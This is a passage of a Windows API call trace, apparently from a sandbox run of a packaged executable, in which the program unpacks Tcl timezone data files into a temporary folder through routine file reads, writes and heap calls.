| out: lpSystemTime=0x4f8cd8) returned 1 [0039.310] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.310] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.310] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.310] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.310] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.310] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.310] CloseHandle (hObject=0x10c) returned 1 [0039.310] GetLastError () returned 0x0 [0039.310] SetLastError (dwErrCode=0x0) [0039.310] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.310] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.310] GetFileType (hFile=0x10c) returned 0x1 [0039.310] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.310] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.310] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.310] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.310] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.310] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.310] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.310] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.311] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.311] CloseHandle (hObject=0x10c) returned 1 [0039.311] GetLastError () returned 0x0 [0039.311] SetLastError (dwErrCode=0x0) [0039.311] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.311] GetFileType (hFile=0x10c) returned 0x1 [0039.311] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.311] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.311] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.311] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.311] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.311] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.311] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.311] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.311] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.311] CloseHandle (hObject=0x10c) returned 1 [0039.311] GetLastError () returned 0x0 [0039.311] SetLastError (dwErrCode=0x0) [0039.311] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nome") returned 69 [0039.311] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nome" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\nome"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.311] GetLastError () returned 0x2 [0039.311] SetLastError (dwErrCode=0x2) [0039.312] GetLastError () returned 0x2 [0039.312] SetLastError (dwErrCode=0x2) [0039.312] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nome", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nome", lpFilePart=0x0) returned 0x44 [0039.312] GetLastError () returned 0x2 [0039.312] SetLastError (dwErrCode=0x2) [0039.312] GetLastError () returned 0x2 [0039.312] SetLastError (dwErrCode=0x2) [0039.312] GetLastError () returned 0x2 [0039.312] SetLastError (dwErrCode=0x2) [0039.312] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nome") returned 69 [0039.312] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.312] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Nome" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\nome"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.312] GetFileType (hFile=0x10c) returned 0x1 [0039.312] htonl (hostlong=0xd4200000) returned 0x20d4 [0039.312] WriteFile (in: hFile=0x10c, lpBuffer=0x561090*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x4fcd00, lpOverlapped=0x0 | out: lpBuffer=0x561090*, lpNumberOfBytesWritten=0x4fcd00*=0x2000, lpOverlapped=0x0) returned 1 [0039.313] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.313] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0xd4, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0xd4, lpOverlapped=0x0) returned 1 [0039.314] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.314] CloseHandle (hObject=0x10c) returned 1 [0039.314] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.315] htonl (hostlong=0x30000000) returned 0x30 [0039.315] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.315] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.315] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.315] GetFileType (hFile=0x10c) returned 0x1 [0039.315] htonl (hostlong=0x80e45900) returned 0x59e480 [0039.315] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e9480, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.315] htonl (hostlong=0x6e010000) returned 0x16e [0039.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x16e) returned 0x550600 [0039.315] htonl (hostlong=0x6e010000) returned 0x16e [0039.315] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.316] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.316] htonl (hostlong=0x58050000) returned 0x558 [0039.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x558) returned 0x55e278 [0039.316] htonl (hostlong=0x6e010000) returned 0x16e [0039.316] htonl (hostlong=0x58050000) returned 0x558 [0039.316] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x561090 [0039.316] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x561090 | out: hHeap=0x530000) returned 1 [0039.316] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x550600 | out: hHeap=0x530000) returned 1 [0039.316] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.316] CloseHandle (hObject=0x10c) returned 1 [0039.317] GetLastError () returned 0x0 [0039.317] SetLastError (dwErrCode=0x0) [0039.317] GetLastError () returned 0x0 [0039.317] SetLastError (dwErrCode=0x0) [0039.317] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.317] GetFileType (hFile=0x10c) returned 0x1 [0039.317] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.317] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.317] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.317] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.317] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.317] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.317] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.317] CloseHandle (hObject=0x10c) returned 1 [0039.317] GetLastError () returned 0x0 [0039.317] SetLastError (dwErrCode=0x0) [0039.317] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata") returned 56 [0039.317] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.317] GetFileType (hFile=0x10c) returned 0x1 [0039.317] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.317] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.318] CloseHandle (hObject=0x10c) returned 1 [0039.318] GetLastError () returned 0x0 [0039.318] SetLastError (dwErrCode=0x0) [0039.318] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America") returned 64 [0039.318] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.318] GetFileType (hFile=0x10c) returned 0x1 [0039.318] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.318] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.318] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.318] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.318] CloseHandle (hObject=0x10c) returned 1 [0039.319] GetLastError () returned 0x0 [0039.319] SetLastError (dwErrCode=0x0) [0039.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Noronha") returned 72 [0039.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Noronha" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\noronha"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0xffffffff [0039.319] GetLastError () returned 0x2 [0039.319] SetLastError (dwErrCode=0x2) [0039.319] GetLastError () returned 0x2 [0039.319] SetLastError (dwErrCode=0x2) [0039.319] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Noronha", nBufferLength=0x104, lpBuffer=0x4f8b64, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Noronha", lpFilePart=0x0) returned 0x47 [0039.319] GetLastError () returned 0x2 [0039.319] SetLastError (dwErrCode=0x2) [0039.319] GetLastError () returned 0x2 [0039.319] SetLastError (dwErrCode=0x2) [0039.319] GetLastError () returned 0x2 [0039.319] SetLastError (dwErrCode=0x2) [0039.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4f8bd4, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Noronha") returned 72 [0039.319] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd715f8, cbMultiByte=-1, lpWideCharStr=0x4f8bc0, cchWideChar=10 | out: lpWideCharStr="wb") returned 3 [0039.319] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl\\tzdata\\America\\Noronha" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl\\tzdata\\america\\noronha"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x4f8a78, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.319] GetFileType (hFile=0x10c) returned 0x1 [0039.319] htonl (hostlong=0x58050000) returned 0x558 [0039.319] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.319] WriteFile (in: hFile=0x10c, lpBuffer=0x560088*, nNumberOfBytesToWrite=0x558, lpNumberOfBytesWritten=0x4fcd6c, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesWritten=0x4fcd6c*=0x558, lpOverlapped=0x0) returned 1 [0039.320] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.320] CloseHandle (hObject=0x10c) returned 1 [0039.321] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.321] htonl (hostlong=0x30000000) returned 0x30 [0039.321] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x54bc40, cbMultiByte=-1, lpWideCharStr=0x4fcc18, cchWideChar=260 | out: lpWideCharStr="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe") returned 65 [0039.321] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0xd70200, cbMultiByte=-1, lpWideCharStr=0x4fcc04, cchWideChar=10 | out: lpWideCharStr="rb") returned 3 [0039.321] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUsers777DownloadsNewSourceNewSource.exe" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers777downloadsnewsourcenewsource.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x4fcabc, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c [0039.321] GetFileType (hFile=0x10c) returned 0x1 [0039.321] htonl (hostlong=0xeee55900) returned 0x59e5ee [0039.321] SetFilePointerEx (in: hFile=0x10c, liDistanceToMove=0x5e95ee, lpNewFilePointer=0x0, dwMoveMethod=0x4fcd74 | out: lpNewFilePointer=0x0) returned 1 [0039.321] htonl (hostlong=0x88060000) returned 0x688 [0039.321] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x688) returned 0x55e278 [0039.321] htonl (hostlong=0x88060000) returned 0x688 [0039.321] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1000) returned 0x560088 [0039.321] ReadFile (in: hFile=0x10c, lpBuffer=0x560088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x4fccfc, lpOverlapped=0x0 | out: lpBuffer=0x560088*, lpNumberOfBytesRead=0x4fccfc*=0x1000, lpOverlapped=0x0) returned 1 [0039.321] htonl (hostlong=0x56200000) returned 0x2056 [0039.322] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x2056) returned 0x561090 [0039.322] htonl (hostlong=0x88060000) returned 0x688 [0039.322] htonl (hostlong=0x56200000) returned 0x2056 [0039.322] RtlAllocateHeap (HeapHandle=0x530000, Flags=0x0, Size=0x1bcc) returned 0x5630f0 [0039.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x5630f0 | out: hHeap=0x530000) returned 1 [0039.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x55e278 | out: hHeap=0x530000) returned 1 [0039.322] HeapFree (in: hHeap=0x530000, dwFlags=0x0, lpMem=0x560088 | out: hHeap=0x530000) returned 1 [0039.322] CloseHandle (hObject=0x10c) returned 1 [0039.322] GetLastError () returned 0x0 [0039.322] SetLastError (dwErrCode=0x0) [0039.322] GetLastError () returned 0x0 [0039.322] SetLastError (dwErrCode=0x0) [0039.322] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, lpWideCharStr=0x4fae2c, cchWideChar=4096 | out: lpWideCharStr="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl") returned 49 [0039.322] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11842\\tcl" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11842\\tcl"), dwDesiredAccess=0x80, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2000000, hTemplateFile=0x0) returned 0x10c [0039.322] GetFileType (hFile=0x10c) returned 0x1 [0039.322] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x4f8ae8 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0039.322] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x0, lpFileInformation=0x4f8d4c, dwBufferSize=0x28 | out: lpFileInformation=0x4f8d4c) returned 1 [0039.322] FileTimeToSystemTime (in: lpFileTime=0x4f8d04, lpSystemTime=0x4f8cd8 | out: lpSystemTime=0x4f8cd8) returned 1 [0039.322] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8cd8, lpLocalTime=0x4f8ce8 | out: lpLocalTime=0x4f8ce8) returned 1 [0039.322] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.322] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.322] FileTimeToSystemTime (in: lpFileTime=0x4f8d0c, lpSystemTime=0x4f8ce0 | out: lpSystemTime=0x4f8ce0) returned 1 [0039.322] SystemTimeToTzSpecificLocalTime (in: lpTimeZoneInformation=0x0, lpUniversalTime=0x4f8ce0, lpLocalTime=0x4f8cf0 | out: lpLocalTime=0x4f8cf0) returned 1 [0039.323] GetFileInformationByHandleEx (in: hFile=0x10c, FileInformationClass=0x1, lpFileInformation=0x4f8d34, dwBufferSize=0x18 | out: lpFileInformation=0x4f8d34) returned 1 [0039.323] CloseHandle (hObject=0x10c) returned 1 [0039.323] GetLastError () returned 0x0 [0039.323] SetLastError (dwErrCode=0x0) [0039.323] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x4f8e2c, cbMultiByte=-1, 